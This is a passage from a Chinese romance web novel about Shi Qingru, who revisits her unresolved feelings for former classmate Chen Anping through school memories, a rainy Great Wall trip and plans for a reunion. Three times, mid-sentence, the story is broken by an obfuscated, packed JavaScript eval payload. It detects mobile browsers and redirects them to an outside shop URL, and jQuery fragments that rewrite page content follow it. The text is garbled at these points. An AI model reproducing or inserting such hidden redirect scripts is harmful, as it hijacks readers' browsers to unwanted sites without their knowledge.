有个声音响起,一双有点无措的手映入她的眼帘,对方似乎想要搀扶她,又碍于男女授受不亲没有行动。
施清如听出了那是陈安平的声音。
她抬起头,送给他一个苍白的微笑。
“你能扶我走过去吗?我肚子痛。”
陈安平顿了顿,“好。”
施清如起初是拉住了他的臂膀,手心用力捏着,人依旧向下滑,把他的校服都往下拽了一大片。稍稍一抬眼,她就看见陈安平的领口露出一截他的左肩,从锁骨延伸到肩膀的骨骼感。
她疼得要命,脑海里还是闪过一种流氓想法。
他皮肤真白。
但这种想法很快就消逝,她抹了下额头的汗,右手绕过他后背,想要去够他的右肩膀。
“陈安平,你……能不能弯个腰?”施清如虚弱地对他说,“你个子太高了,我够不着。”
他点点头,弯腰躬背,“不好意思。”
施清如被他逗笑,“你不好意思什么?长得高又不是坏事。”
他没说话,左半边和她靠在一起的身体僵硬得像机器,左臂垂着,拳头也握着,施清如全靠自己的力量才能挂在他身上。
春天,陈安平贴身穿着短袖校服,套了件长袖外套,没拉拉链,被风吹向身后。
陈安平是新班级里为数不多施清如还没有混熟的人。
不过,她对他的印象很特别。
早在高一开学的时候就已深刻。
“你体育很好吧?”
她开始和他闲聊。
午后的阳光最最热烈,在施清如的余光里,陈安平的眉骨被光照得发出金光。他眉毛长得很好,英气又不凶悍,毛流浓又不野蛮,眼睛藏在深邃的眼窝里,施清如还没仔细看过。
陈安平的回答很谦虚:“还可以。”
“放屁,”她扯开干裂的嘴唇笑了,“去年运动会你参加的项目都是第一,还破纪录了,我之前班级的那几个项目颗粒无收,算是拜你所赐?”
他大概是不知道怎么回应这样的话,默默无言地带她绕过操场边的小门,走向体育馆。
“一会儿要不要你自己走进去?”
“为什么?陈安平,送佛送到西。”
陈安平沉着冷静地给她分析:“被太多同学看见不好,王老师也可能会说。”
施清如瞥了他一眼,“我们学校又没有那么封建古板,我是身体不舒服,你只是好心帮我,我们又不是早恋了,怕什么?”
陈安平脚步一顿,施清如往前倒了倒,勾着他的脖子又晃悠回来,本能地用另一只手在他腰上扶了一下,才稳住身体。
“怎么了?”她问。
陈安平摇摇头,“没事,我带你进去。”
她松开他的腰,“嗯。”
陈安平的腰很细,隔着两层校服也能感觉到温热。
不过也许,是施清如自己的指尖太烫了。
他们进体育馆的时候,大半个班级的人都已经到了,多数在插科打诨,目光不在门那边,只有几个眼尖的瞧见了,还没等他们调侃,体育老师王梓江首先走过来。
“怎么回事?”
施清如抬眼,一点也不怂地看着他,“老师我生理期,肚子很痛,今天没法运动了。”
王梓江打量了一眼她发白的唇色和额角的汗珠,知道她不是装的,“那等下就到边上坐着休息吧。”
“谢谢老师。”
王梓江走出去两步,又退回来,看了一眼陈安平,又对施清如说:“下次最好还是找个女同学扶你。”
施清如没心没肺笑着:“老师,他是正好路过,总不能见死不救。”
“呃,嗯,做得好。”
王梓江转身后,施清如无意识地凑到陈安平耳边轻声说:“你看,我就说没事吧。”
她没有发觉自己的唇已经碰到陈安平耳廓上的细小绒毛,呼出的热息吹向了他的耳中。
陈安平直起身,耳朵一下离开施清如气息的范围,勾肩搭背的手圈不住他的肩膀了,只能松开他,按住腹部。
“陈安平,谢谢你。”
陈安平朝施清如点了点头,但没有看她,“不客气,我不能见死不救。”
施清如笑了下。
他还挺会活学活用。
这节体育课是自由活动,男生大多在篮球场上,就算是闲聊,也要把屁股挪到球场边的椅子上,仿佛那里有什么魔力。女生有的在打羽毛球,有的也在篮球场,有的在操场上聊天,随便跑几下玩。也有一部分人在做卷子。
施清如坐在操场看台的最高一层,既能看到操场,也能看见背后的篮球场。
陈安平坐在球场边,没聊天,也没打球,只是靠在铁网上,闭着眼睛面向太阳。
睡着了?
施清如阖眼,也打了个哈欠。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314044|152368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
午后的阳光催人睡。
她一直睡到下课王雨灵把她喊起来。
一下午的课,施清如的精神都不太好。
王雨灵问她:“你这次怎么痛得这么厉害?”
施清如瘪嘴,抱着她的手臂撒娇,“不知道,可能是着凉了?学校医务室有止痛药配吗?我想去配一个。”
“去问问呗。”
施清如叹气,“嗯,班会课结束就去。晚饭我不和你一起吃了,我想回寝室睡一会儿。”
“好,晚自习之前要不要我去喊你?”
“好呀,最爱你了。”
班会课结束后,教室几乎空了,大多都去食堂抢饭吃了。施清如还倒在桌上,她没胃口,人已经死了,手还在机械地做着卷子。
等班里最后几个人也走完,她也起身往寝室走。
医务室和小卖部都在寝室楼下。
成华中学的寝室从二楼开始才是,一楼是热水房、医务室、小卖部,和两个供师生娱乐的乒乓球房,还有一间房有一架钢琴,偶尔有人去弹奏。
男女寝室楼面对面而立,二层中央有个露天平台将两幢楼连接在一起,平时有任何通知都会贴在中间的布告栏上。
施清如浑浑噩噩穿过平台下的空间去医务室,医生给了她四颗止疼药。
她有点渴,穿过中间的绿化准备去小卖部。
边上不知道哪个年级哪个班级的人聚在一起笑,听得她心生厌烦,揉了揉耳朵。
“施清如,施清如!”
她停下脚步。
这声音是陈安平。
施清如印象中,陈安平还没有完整地叫过她名字,一开口往往是“同学”或者“你”。
他叫得这样急,声音却不大,还刻意压低了,导致他低沉的声音中还有些气声。
她回头,看见他微微皱着眉头快步向她走过来。
施清如眨了眨眼睛,揶揄道:“原来你知道我的名字。”
陈安平没说话,忽然脱掉了自己的校服外套,用力一甩,把袖子从她身后甩到另一边,之后他扯住两只袖子在她肚子上系了个结。
施清如低头看了眼那个结。
听见他问:“你要回寝室吗?”
“嗯。”
“好,”他点点头,踌躇片刻说,“可以换条裤子。”
施清如愣了下,明白过来,也知道了刚才那群人看着她在笑什么。
她并不觉得羞涩,反而弯眼定定看着眼前的陈安平,“你的校服被我弄脏了怎么办?”
陈安平顿了下,“没事,我会去洗干净的。”
施清如弯唇,“我洗干净再还给你吧,你有备用的外套吧?”
“嗯。”
“谢谢你啊,陈安平。”
把外套还给他是好几天后的事,施清如把他的外套带回了家,施琴问她这件宽大的校服是谁的,她看了一眼,说:
“一个好心同学的。”
她在寝室用手搓过了,上面的棕红色痕迹差不多都洗掉了,但总不如一开始的洁净,只好带回家借助洗衣机和漂白粉的力量。
周日整理要带去学校的行李时,她在自己房间里看着那件外套,它现在有和她衣服一样的茉莉花香了。
施清如鬼使神差地松开已经叠好的外套,在自己身上试了试。
好大。
衣摆足够盖住她的半截大腿,她的手根本没法从袖口里露出来。
陈安平有多高?似乎听骆泽川说起过,他高一刚来成华中学时测量的数据是183cm,还在长个。
他在班里是第二高的,第一高的是个192cm的男生,母亲是职业打篮球的,因此特别高。
施清如已经发育得差不多了,两年之间从163cm长到164cm,她倒是希望自己能长到168cm,但她又看了看施琴和王文忠的身高,应该不可能。
周日晚自习的时候,她计划把衣服还给陈安平,但陈安平没有来。
施清如去问骆泽川,后者说陈安平明天早上才会来学校,他去医院看妈妈了。
“哦,那我明天再还给他吧。”
-
施清如睡不着,从酒店的床上起来坐到沙发里吃了一颗止痛药。
她看向围着一楼庭院的那堵墙,和越过墙头的一株树,大大小小的叶子参差不齐地挂在枝头上,被风吹得直打转。
她点开骆泽川的微信,问他:「你有陈安平的新微信吗?」
骆泽川回复她:「有,但他去英国之后又换过了,好久没发朋友圈,过年给他发的祝福语也没有收到过回信。我听蒋澜说,他可能是换了一个工作微信,慢慢就不用这个了。」
施清如抱着双腿,沉寂了一会儿。
「告诉我吧,不管他还用不用。」
骆泽川:「行,你要加他吗?」
施清如看着他推荐过来的好友。
「不知道,再说吧。」
当年施清如将陈安平单方面删除后,她就听闻他换了一个微信。
当真是断得干干净净,不留一点痕迹。
8. 008
第二天北京仍旧在下雨,小雨淅沥,灰色的天空中飘着脏棉絮般的乌云。
施清如在酒店吃完早餐坐公交抵达八达岭。
车沿着公路快速曲折向上,每到蜿蜒尽头时,她便像是要被甩出车窗般狼狈,一趟下来,她被颠得头昏脑胀。
从车上下来,她撑起一把黑色的伞,用力闭紧眼睛缓解酸涩,同时让眼前的晕眩消失。与售卖雨衣的小贩擦肩而过时,施清如没有为他们呐喊的宣传语停留一秒。她讨厌雨衣糊在身上的那股黏糊劲,皮肤上的每个毛孔仿佛都无法呼吸,陷入沉闷的滞涩。
不是节假日,游客不多不少。
施清如抬起头看了眼环绕长城的雾气,树木都被裹成一种低饱和的绿色,有些甚至是灰色的。
她蹙了蹙眉。
天公不作美,月经也来得不是时候。
仿佛是老天爷在告诉她,这样追逐陈安平的足迹不过是刻舟求剑。
徒劳。
五颜六色的雨衣在她的视野里晃动,几个请假出学校的小孩奔跑着发出尖锐的嘶鸣。施清如皱着眉,她虽然吃了止痛药,腹部却依然绞痛,应该是受凉了。眼下被这些叫魂般的声音萦绕,更如千百只蚂蚁在身上爬般难受。
退堂鼓震耳地打了一下。
她垂眼,抬腿踏上第一块石阶。
她绝不可能因为这点困难就退却,就算不是因为陈安平,她也是要来长城的,来终结多年前未达成的一个小小心愿。
她不喜欢留遗憾。
从登城口开始往北行,起初是一段缓坡,施清如扶着墙走,时走时停,脚下的石块湿滑,不留神就会摔得难堪。
她一向是个没耐力的人,高中参加运动会报的都是些靠爆发力的项目,跳远、铅球、100米之类的。学生时代最痛苦的莫过于跑800米,有段时间她为了练出像样的成绩,坚持不在中途停下走路,最后屁股疼到开花。无法用言语形容的炸裂疼痛感吞噬了冲过终点的她,仿佛所有肌肉都要溶解了,她会虚脱地将膝盖和手掌都跪蹭在跑道上,红肿破皮也感觉不到。
这时候,陈安平会递给她一瓶水,然后给其他人也递一瓶。
从城墙上望出去,浓雾弥漫在树木之间。
哪儿都没有陈安平照片里的秋色。
这里古老、灰败、陈旧,雨声中仿佛有千年前亡魂凄厉的叫喊划破时空。
这儿的风景不轻盈也不治愈,它沉重得像是压在施清如肩上的雨,一滴接着一滴,连绵不断。
执伞而走实在不是明智之举,没多久她的双肩包和肩背就已被雨淋透,当缓坡变为陡梯,她似乎必须舍弃掉碍事的雨伞,才能踏稳脚步。
鞋尖沿着石块滑了一下,施清如的膝盖重重着地,磕在地上,伞被她下意识地按住,伞骨都变了形。
双手撑着地,施清如大口喘粗气,雨水正从她太阳穴滑向眼角,抚摸着她的脸颊往下落,淌进嘴里。
有些咸。
长城的路比塑胶跑道硬多了,也痛多了,骨头被震得发麻。
有人来扶她,施清如笑了笑,摇头致谢,自己扶着城墙边起来,重新撑起恢复原状的黑伞。
但她已经湿透了,雨水顺着领口贴身灌下,雨伞不过是装饰。
阴雨天沿途的风景是一样的,她甚至没有多瞥一眼,始终低着头目视地面。垒城墙的石块永无止境地在她视野里循环,头疼欲裂到快要撑不下去时,施清如也没想过回头折返,哪怕把伞收起当作拐杖,她也在继续前行。
直到身边有人欢呼,她直起腰,意识到自己终于走到了北八楼,全程的最高点。
开阔的视野里只有浓雾,没有秋色。
施清如垂眼,从湿透的衣服口袋里拿出半湿的手机,找了一位年轻小姑娘。
“你好,请问可以帮我拍一张照片吗?”
小姑娘无意识地接过手机,点着头却被施清如的模样吓了一跳,“小姐姐你要不要先擦擦脸。”
施清如用袖子抹掉脸上大半雨水,幸好她今天没化妆,狼狈但不至于吓人,碎发也被往后捋,不过很快就被新的雨水浇透。
她垂手笑了笑说道:“就这样拍吧,拍个到此一游的证明就行。”
刻舟求剑,果然是徒劳。
回到酒店的时候,施清如的身躯重得像坠着铅块,不是形容,是被雨水打湿的布料压着她,而她鬼压床似的抬不起脖子。
洗了热水澡,她没吃晚饭,光吃了一颗止痛药和一个面包,就一觉睡到第二天清晨。十几个小时过去,施清如毫无意外地发烧了。
她摸了摸自己的额头,平静地下床,步履飘飘然地走到沙发边,从行李箱里翻出退烧药,随便用几包零食垫肚子就把药吃了。
施清如从小到大都是不太爱惜身体的人,两三年前身体还吃得消时,熬夜、通宵是家常便饭。小病从不去医院,生扛,除非施琴和王文忠看不过去逼着她去医院。
不过她对身边人生病是截然相反的态度,平时不拘小节的人,却能事无巨细地处理好去医院的每个细小流程。
陈安平大多时候像个闷葫芦,但在健康方面,像个和尚,有时会在她耳边念经,叫她爱惜自己。
重新躺回床上,施清如将火车票退掉,改订了一张一天后的机票。
她确实折腾不起第二个七小时。
生病的事她肯定不会告诉施琴。
来北京是施清如自己的决定,淋雨把自己搞病也是自食其果,她不想让施琴小题大作地太过担心。
相比较而言,告诉朋友就没有什么心理负担。
张言静关切地问候。
施清如说:“让我在酒店里躺十天都没关系,但这酒店的饭菜太难吃了,所在地还偏僻,周围没什么好外卖,我还得重金请小哥跑腿帮我买吃的,等送到这里菜都凉了,太折磨。”
张言静盘腿坐着在敷面膜,皮笑肉不笑般反问她:“那你觉得这次去北京圆梦了吗?弥补之前没去长城的遗憾了吗?”
施清如眯着睁不太开的眼睛点头,把那张女鬼般狼狈的照片秀给她看。
“到此一游,去过了,就算圆梦了。”
“你骗骗自己得了,别想骗我,”张言静拆掉包着长发的速干毛巾,瞥了眼屏幕,“你是为了陈安平去的吧?”
“不是。”
她回答得太快,张言静切了一声。
施清如侧身把自己卷进被子,闭上眼睛,“最多百分之五十因为他。言静,你知道吗?他来的时候是秋天,城墙下的树都是红色、黄色的,漫山遍野,层林尽染,和昨天不一样,昨天看什么都是灰色的。”
张言静取下面膜,白净的脸上反着晶莹剔透的光亮。
她沉默地看着画面里施清如紧闭的双眼,欲言又止。
良久,她才说道:“你就这么喜欢陈安平吗?”
施清如闭着眼笑了下,“以前有这么喜欢,现在只不过是在回想从前。”
“我知道他长得好、脾气也好,但你不是说他拒绝过你吗?我总觉得你不该是在一棵树上吊死的性格,这不像其他时候的你。”
“不像吗?”
张言静默了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314045|152368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一会儿,“像。”
施清如就是很执拗,否则不会为了一块怀表再去一次马德里。她看着洒脱,其实最是认死理。
“但他不喜欢你,就不值得。”
施清如睁开眼。
酒店房间的窗帘密实地挡住了外面的光亮,只有一盏床头灯和手机屏幕照在施清如脸上。
“言静,你可能会觉得我很自恋,但是——”
施清如停顿了很久,久到张言静屏息凝神去听她接下来的话。
“除了他拒绝我的时候,我一直、一直没有怀疑过他喜欢我这件事,这是我最真实的感受。”
话音落,房间里只剩下窗外那点雨声。
拒绝之后呢?
是否怀疑了自己此前的判断?
张言静没有办法感同身受,但她具有同理心。她突然就明白了为什么施清如只是见到了一个老同学,只是意外发现了陈安平的旧社交账号,就忽然踏上了一场不知终点的回忆之旅。
施清如从始至终都没有释怀。
在她眼中两情相悦的暗恋,在捅破窗户纸的那天,忽然得知原来陈安平不喜欢她。她感觉到荒谬、错误、不理解,像卡在嗓子里的鱼刺。有一万句“为什么”没有问出口。
但施清如年轻时的骄傲和自尊,不允许自己低头。
她怀揣着疑惑、愤恨尘封了那段过往,直到她足够成熟却依然好奇的三十岁,她获得了一把钥匙。
“施清如,”张言静忽然变得正襟危坐,像老师一样给施清如讲课,“我支持你去找他,找他当面问清楚他以前喜不喜欢你。”
施清如噗哧一声笑了出来。
“现在还纠结以前喜不喜欢有什么意义?我又不是活在过去的人。”
“可是你分明在意,那就去问清楚,了结你一桩心事。否则你就像没有买到那一只怀表的少女,永远迈不过这个坎,哪怕你以后相亲遇见了不错的人,我猜你还是不会敞开心扉。”
施清如没说话,侧着撑起身体喝了一口床头的常温水。
张言静苦口婆心继续劝道:“你别不承认,你就是还在意陈安平,否则你当年为什么不接受唐峥?你分明说过唐峥是很好的人。”
“唐峥?”施清如回想,“唐峥是很好,但我喜欢不上他,我尝试过了,去和他多接触,可我对他永远只有友情。”
“如果你心里没有陈安平呢?”
张言静的诘问掷地有声。
施清如想说自己心里没有陈安平,但是说不出口。
“你看,承认吧,陈安平的影子把你爱情的一切可能性都封锁住了!这太不健康了,你必须把他拔除。”
“言静……”施清如无奈地看着她。
为什么把这件事比喻得像洪水猛兽一般?
明明、明明她对陈安平的心已经平静。
“而且,就像我之前说过的,也许陈安平他已经结婚了呢?”
施清如抬眸,下床走到窗边拉开窗帘。
灰蒙的天上挂着阴测测的阳光,其实不论天气如何,太阳始终在那里,只是它的光无法穿透厚重的云层。
“如果他已经结婚,我一定会把他忘了。”
“这就对了,所以我支持你去找他,把一切都整理清楚,拨云雾见青天嘛。”
院子里的墙比人还高,除了那株冒然闯入的树枝外,只能抬头望天。
这酒店真是一无是处。
对于张言静的劝诫,施清如只淡淡应了一声。
等下一次同学会的时候,她决定问问陈安平有没有结婚。
9. 009
回到杭州,施清如在家中躺了三天,张言静登门拜访过一次,带了些品牌方寄来的化妆品,她自己用不完,总会捎带些给清如。
施清如有一点好,虽然是被父母惯着长大的,但她这人不娇气,也不好面子。在物质上她很务实,相反地,她在精神上就有些天马行空,仙女似的不肯落地。
施琴把亲戚带来的笋干和自己烤的蛋挞给张言静塞了一些,总归不肯让她空手回去。施清如笑倚在门边,看她每次推拒几回合,最后还是不得不迫于施琴的淫威把东西带走。
城门失火,殃及池鱼。
施清如好端端看着戏,被施琴拍了下后脑勺,“多久没去看爷爷奶奶、外公外婆了,这周末全家一起聚餐,你把时间留出来。”
施清如应声,回房整理照片。
在北京的几天,她不是在长城摔得狗吃屎,就是在酒店躺到浑身发酸,几乎没有看得过去的照片。随便点了几下,施清如感慨自媒体博主也不是那么好做,要保证图片、视频质量实在不易。
鼠标划过陈安平的青青网主页,没有点开。
施清如低头给骆泽川发去消息。
「下次同学会在什么时候?」
过了三分钟他回复:「刚办过,没这么快吧。」
施清如:「上次不是只有五六个人去了吗?这也能算同学会?十个人都没有。」
骆泽川:「都是大忙人啊。怎么,突然想参加同学会?你问问蒋澜吧,近两次同学会都是他组织的,毕竟是班长。」
施清如顿了一会儿,回了一句:「行。」
她和蒋澜高中时就不太对付,她不喜欢蒋澜总把一点小事形容得像是天要塌下来的夸张,也不喜欢他总是拿班长头衔压人。
蒋澜自然也不喜欢她,她从不因为他是班长就留几分薄面,有什么怼他的话都是直说,心气儿高。有时还得蒋澜低声下气地求着她办一些事。
他们彼此都在对方“无需联系的老同学”分类中,毕业多年除了群发祝福外几乎没有交流。施清如给过他一次面子,参加了他的婚礼,礼金包了不少。
那是三年前。
潜意识中,她以为陈安平会出现,但他没有。
陈安平和蒋澜的关系不错,高中时虽不如和骆泽川的关系铁,但大学时两个人都考去了复旦,联系自然比别人多点。蒋澜算是高中毕业后最了解陈安平的人。
蒋澜在工位上喘口气喝咖啡的功夫,看见施清如的消息,推了推眼镜确定自己没看错人名。
施清如:「老蒋,听说你前段时间突发心梗,工作别太拼命了,健康才是第一位,多注意身体。」
蒋澜啧了一声,抱着手机翘着腿细品这句话里的深意。
过了半天只品出来黄鼠狼给鸡拜年的味道,准没好事。
蒋澜:「谢谢施太后的关心,暂时死不了。说吧,找我什么事?」
他的性格相较于高中的死板,变得活络了些,也嘴贫了些。
施清如开门见山:「你再办个同学会怎么样?这次多叫一点人。」
蒋澜:「上次让王雨灵喊你来你都没来。」
施清如:「我那不是人不在国内嘛。你再办一次,我肯定来。别太久了,最近,就最近行不行?」
她是个急性子这点从高中到现在都没变。蒋澜看了一眼手机上的日历。
蒋澜:「我得问问其他人。」
施清如:「行,你把所有人都联系一遍问问清楚。记得提前告诉我,我把时间空出来。同学会的吃喝我来请,你随便安排。」
蒋澜笑了下,施清如也有优点,她一直挺大方的。
蒋澜:「不怕我敲你竹杠?」
施清如:「你别太离谱就成。」
蒋澜:「知道了,我联系看看,不过肯定不会所有人都到,大家有各自的家庭、工作要忙,不像你有这么多空闲时间。在国外的基本就别想了,机票都是一大笔开销。」
到这个年纪,能为了一场同学会聚在一起的,除了本地离得近的,得需是多好的关系才会消耗极大的成本赴约?
寥寥无几。
施清如输入了很久,才发出来。
「如果在国外的同学要来,我可以报销他的吃住行花费。」
蒋澜刚想问她为什么这么不惜血本,又收到一条新消息。
施清如:「老蒋,记得问问陈安平,问问他会不会来。」
蒋澜愣了一会儿神,被同事叫走。
再回来的时候,他恍神盯着陈安平以前的微信账号。
施清如,还没忘记陈安平呢?
多少年了。
陈旧的记忆在电脑的显示屏上浮显出重影。
蒋澜笑着摇了摇头。
-
周末气温陡升,薄薄一件长袖衫就已足够。施清如站在医院大门口晒了一会儿太阳,竟然觉得很热。
浙二医院滨江院区停车依旧很困难,王文忠绕了几圈才停好车,发信息让提前下车散步的施清如进门诊大楼。
全家人一起去吃午饭前,决定带施有志来医院做腿部复查。他半年前在公交车上摔断了腿,折腾得不轻,这才好起来没多久,就每日都坚持要自己坐车去钓鱼,施琴为这老顽童愁得厉害。
因王文忠是入赘的缘故,施清如打小便管施琴的父母叫做爷爷奶奶,王文忠的父母叫做外公外婆。王老爷子起初是不满意的,心里不痛快,古板思想让他觉得这儿子是白生了,唯一的小辈都不跟自己家姓。但日子过了这么久,他也早已习惯。
施琴是独生女,王文忠上头有个大哥王文林,不过早在二十八年前便因车祸去世了。因此施清如是为两个家庭唯一的孙女,是享尽宠爱的掌上明珠。王老爷子再顽固,只要施清如一哄,他就高兴了。
医生问施有志有没有好好休息,他支支吾吾不说实话,施琴在一旁按着他肩膀对医生说:“他一点都不听话,觉得自己能走路了,就偷偷溜出家门去钓鱼,哎,说了都不听的!”
施清如忍俊不禁,走到诊室外。
从北京回来后染的风寒没好透,鼻子堵塞,还有些咳嗽。她在走廊上捂着嘴咳了两声,干脆坐在门外的金属椅上等。
她以前对浙二很熟悉。
但不是滨江院区,而是解放路那个老院区。
她总是往住院部跑,性格活泼,和当时的护士长都熟悉了。进进出出的病人很多,但在施清如的印象中,陈安平的母亲谢莹淇几乎一直都住在那张病床上,鲜少有回家的时候。她大大小小毛病不断,出了院,转头又回来,像是个钉子户。
病床前是谢莹淇的孝子陈安平,和一个不知为何总自告奋勇来看望她的小女生施清如。
谢莹淇的父母那时都已不在,偶有些亲戚带着水果篮来看她,坐一两个小时又离开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314046|152368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。病床前不热闹,也不算太冷清,唯独不见她的前夫来过一次。
她总是住在三人病房靠窗的那一床,没人来的时候就一个人静静地睡觉或者看书。
谢莹淇是一个温柔善良的人,总是笑眯眯看着人。施清如很喜欢她。
几年前施清如因某些原因去浙二旧院区时,特意到过之前那间病房,得知谢莹淇很多年前就不在那儿了。护士长换了人,早不记得他们这些人。
施清如出神地环顾四周来来往往的人,心想,无论自己和陈安平如何了,她都希望谢莹淇康复了,能从医院的白墙中走出去,和长大成人的陈安平去周游世界。
世界的美丽绝不止白色的墙,也比书本里的文字更多彩。
诊室内,施有志复查完,被施琴和奶奶周彩茵牵着走出来。
施清如笑着起身,“爷爷,你可得听医生的话,多在家休息,别总是乱跑。要钓鱼我陪你去,提前和我说一声,不许自己一个人乱跑,奶奶多担心呐。”
施有志答应得很快,布满皱纹的脸上因为笑容又多了几道慈祥的褶子,“知道咯乖孙女。”
王文忠招呼一大家子,“走吧,去吃点好吃的,补补身体。”
“诶好。”
一行人刚走到门诊大厅,施清如忽然刹停脚步。
她睁大眼睛,发直地盯着前方,半晌,她忽然一颤。
一个满头灰发的中老年男人一闪而过,消失在了人群中。
她回神对家人说:“你们先去车里,我有点事,马上过来。”
话落下的瞬间,施清如大迈步朝着男人消失的方向走,没过几秒转为狂奔。
穿过层层人群,她像是在进行障碍赛跑,每个人都成为了阻碍,她只能一直侧身行进,目光不断在每个人之间游移。
她绝对没有看错,那个男人是陈峰!
谢莹淇的前夫,陈安平的父亲。
一个被小小年纪的施清如掌掴过的人渣。
施清如在念高中之前都没有真正接触过人性阴暗面,直到她自告奋勇,半强迫地陪同陈安平去向父亲讨要抚养费和医药费的时候。
她无法理解这世上为何会有人对与自己共同生活过的妻子如此狠心,也无法理解为何会有人对亲生骨肉不管不顾。
陈峰是她最看不起的那种男人。
但此时此刻在浙二医院,施清如的肾上腺素却因这个男人的出现而疯狂飙升。
会不会、会不会有哪怕一丝可能,陈安平和他在一起?会不会,陈安平已经回国了?
哪怕不是。
陈峰应该也知晓一些陈安平和谢莹淇的近况。
施清如不想承认,但她全身的肌肉都在喧嚣她想找到陈安平。
然而,攒动的百颗人头中,没有一颗是陈峰,他消失得无影无踪,连带着陈安平的消息一并溜走了。
施清如恍惚地伫立在人群中央,所有人都在走动,只有她停在原地,愣神许久。
手机铃声把她拉回到现实,施琴催促她快回车里。
施清如挪了步子,手背上的青筋跳了起来。
这么多年了,她第一次产生了一种感觉。
一种陈安平远在天边、近在眼前的感觉,仿佛伸手就能捉住他。
她会很快找到他,
续写他们之间断更多年的故事,无论是逗号还是句号,她都欣然接受。
10. 010
那天回到家,施琴便问施清如在医院是看见了谁。
“看错了。”
施清如淡淡撇下一句话回到房间。
游戏群里的好友喊她上线开荒新出的副本,她回绝了,点开陈安平的青青网主页出神。
她像是将他的主页当成了电脑背景一般。
这里安静又洁净,不会有任何新跳出来的弹窗。
施清如眯着眼睛在想医院里看见的那个男人。
陈峰。
在1998年杭州大学并入浙江大学之前,他就已是杭大的员工,零几年的时候被辞退,却还一直住在教职工宿舍里。是学校早年给分的房子,在西溪路上。陈峰住在一栋只有两层的矮房里,他的房间在二楼最尽头,紧挨着那一层共用的厕所。
隔日施清如便凭借记忆找寻过去。
老式的小区没有大门,行人骑着电瓶车从前门穿到后门,只为抄近路。树木的枝条野蛮生长,未经修剪,逐渐覆盖建筑的主体。苍翠的爬山虎像青褐色墙面的纹身,经年累月,与污水的痕迹融为一体。
这儿的房子最高不过六层,矮的只有两层。在春转向夏的季节,繁枝茂叶比建筑本身更庞然。
大部分人早已经搬走了,这儿是流浪猫的港湾,是城中心的原始森林。
陈安平十二岁以前也是在这里生活的。
他没有过多地向施清如讲述过那段曾经,哪怕在施清如的追问下,他依旧简言带过,用她招架不住的笑容哄得她放弃打破砂锅问到底。
施清如只知道陈峰和谢莹淇正是在陈安平十二岁时离婚的,孩子跟了母亲,是陈峰主动放弃了抚养权。那时候定下的抚养费低,每个月五百元,连打牙祭都不够。所幸谢莹淇娘家条件还不错,那个时候她的父亲也还在世,是娘俩的后盾。
好景不长,谢莹淇后来一病不起,不能工作,父亲也因病离世,积蓄在年复一年的治疗中消失殆尽。
成华中学的学费加上种种学杂费,一年需接近三万人民币。和贵族学校不能比,但和公立中学相比,已十分昂贵。
成华生源优秀,学校历史年久,拥有相当多的保送名额,高考一本率93%,还有不少同学出国留学。
施琴和王文忠选择让施清如考成华一是为了成绩,二是看中健康的校风,三是最现实的——这儿的同学多半既有能力又有一定家底,未来在社会上都是珍贵的人脉资源。
陈安平家的考量则不同。
谢莹淇对他隐瞒了家里的真实状况,营造出积蓄足够的假象,希望他能去成华挣个保送名额,去全国最优秀的大学。谢莹淇极度重视教育,或者说,是为了孩子甘愿牺牲一切的性格。成华注重学生的德智体美劳全面发展,在学习之余还有各种大赛、活动的机会,知名校友数不过来。她希望陈安平也能拥有这样的成长轨迹。
可是,假象终归是假象。
陈安平高中以后,谢莹淇在医疗上的花销像天空中的破洞,即便用补天石也填补不起来,积蓄如指间流沙,丝毫留不住。
她打电话给陈峰。
请求陈峰支付拖欠了两年的抚养费,总计一万两千元,恳求他可以支付完陈安平剩下的学费,并说陈安平会在毕业后将这些钱还给他。
陈峰起初答应了。
但说好的钱始终没有汇到谢莹淇的户头。
施清如记得在某一天午休时,她撞见陈安平在周旺的办公室,两个人促膝长谈。
她学周旺趴在教室门后那样,也趴在办公室窗边偷听。
“陈安平,我知道你家里有些难处,但是现在转学真的不是明智之举,以你的成绩,完全有机会去竞争清北的保送名额,就算清北的竞争不上,还有浙大、上外。”
“周老师,我的学费也是我妈妈的救命钱。”
“哎,你……你家里亲戚能帮你吗?”
陈安平没说话,摇了摇头。
周旺沉默良久,握着他那只保温杯,心痛地叹气:“再考虑一下吧,前程只有一次,你自己的人生也很重要。”
陈安平背对着门口,施清如只能看见他四分之一的侧脸。他坐在没有靠背的黄色木凳上,垂着眼睛,神情和语气一样平静。
阳光穿过窗纱,在办公室地面映下一道平行四边形的光,白金色的光停在陈安平的肩头,短发下的耳朵亮得近乎透明。
陈安平从办公室走出来的时候,施清如就倚在墙头,侧目看他。
“你和周大头说什么了说这么久?”
陈安平垂目看她,笑了笑,“说怎么提高我的数学成绩。”
“骗子。”
